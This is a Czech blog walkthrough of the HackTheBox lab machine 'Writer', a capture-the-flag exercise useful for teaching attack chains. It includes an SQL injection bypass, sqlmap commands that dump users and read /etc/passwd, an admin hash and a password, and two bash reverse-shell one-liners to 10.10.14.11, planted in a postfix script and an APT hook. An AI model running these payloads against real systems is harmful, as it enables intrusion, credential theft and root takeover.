tom@home.htb:~$

Blog o HTB

30 January 2021

Writer

Úvod a kontext

Writer je vícekrokový řetězec, kde SQL injection v admin rozhraní sama o sobě nestačí. Přinese dump databáze a čtení souborů, ale skutečný foothold vznikne až po propojení těchto dat s účty v systému a následném brute force na SSH. Odtud se pak útok přesune do poštovního workflow a nakonec do APT hooků.

Je to dobrý stroj pro vysvětlení laterálního pohybu v rámci jednoho hostu: www-data nestačí, kyle nestačí a teprve kombinace skupin filter a management otevře cestu až k rootovi. Zároveň je to pěkný příklad kombinace password reuse mezi aplikací a SSH a zápisu do důvěryhodného workflow.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív mapuji veřejné služby:

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT    STATE SERVICE VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Vedle SSH a SMB je hlavním cílem web na portu 80, protože právě ten nabízí administrativní vstupní bod.

Enumerace webu

Enumerace cest odhalila zajímavou stránku:

/administrative

To je přirozený kandidát na testování autentizačních chyb a SQL injection.

Analýza zjištění

SQL injection v /administrative

Login formulář byl zranitelný vůči jednoduchému bypassu:

Username = ' OR 1=1; --

Po potvrzení injection už dávalo smysl přejít na sqlmap. To umožnilo nejen dump databáze, ale i čtení souborů přes DBMS. Praktickou roli tohoto workflow rozebírám i v článku sqlmap:

sqlmap -u http://10.10.11.101/administrative --data="uname=iron&password=man" --method POST -T users --dump
sqlmap -u http://10.10.11.101/administrative --data="uname=iron&password=man" --method POST --file-read=/etc/passwd

Z databáze vypadl admin hash:

118e48794631a9612484ca8b55f622d0

Ten ale nebyl hlavní výhra. Důležitější bylo, že čtení /etc/passwd odhalilo relevantní lokální účty:

kyle
john
filter

Proč následuje SSH brute force

Ve chvíli, kdy jsou známé lokální účty a žádné přímé webové RCE ještě nevzniklo, je rozumný další krok otestovat reuse hesel přes SSH. Právě to vedlo k přihlášení:

kyle / marcoantonio

Získání přístupu

SSH jako kyle

Přihlášení:

ssh kyle@10.10.11.101

Po něm bylo možné potvrdit user flag:

cat user.txt
__CENSORED__

Zároveň bylo důležité členství ve skupinách:

uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)

Skupina filter byla klíčem k další fázi.

Eskalace oprávnění

filter a postfix disclaimer

Jako člen skupiny filter mohl kyle upravovat soubory v postfix disclaimer workflow, konkrétně /etc/postfix/disclaimer. To je důležité proto, že tento skript zpracovával odchozí poštu v jiném uživatelském kontextu.

Stačilo do něj vložit reverzní shell:

/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.11/4000 0>&1'

Při dalším zpracování pošty se payload spustil a poskytl přístup k citlivým souborům uživatele john, mimo jiné k jeho privátnímu klíči:

/home/john/.ssh/id_rsa

Tím vznikl další pivot:

ssh john@10.10.11.101

management a APT hook

Účet john byl členem skupiny management:

uid=1001(john) gid=1001(john) groups=1001(john),1003(management)

Tato skupina měla zápis do /etc/apt/apt.conf.d, což je zásadní detail. APT podporuje hooky jako Pre-Invoke, takže pokud root pravidelně spouští apt update, stačí do této cesty vložit vlastní konfigurační soubor. I tady jde o write do prostoru, který za chvíli zpracuje privilegovaná automatika.

Například:

apt::Update::Pre-Invoke {"/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.11/4000 0>&1'"};

Po dalším běhu APT se příkaz provedl jako root a vznikl root shell. Následně už šlo přečíst root.txt.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - smb - ssh - php - exploit - enumeration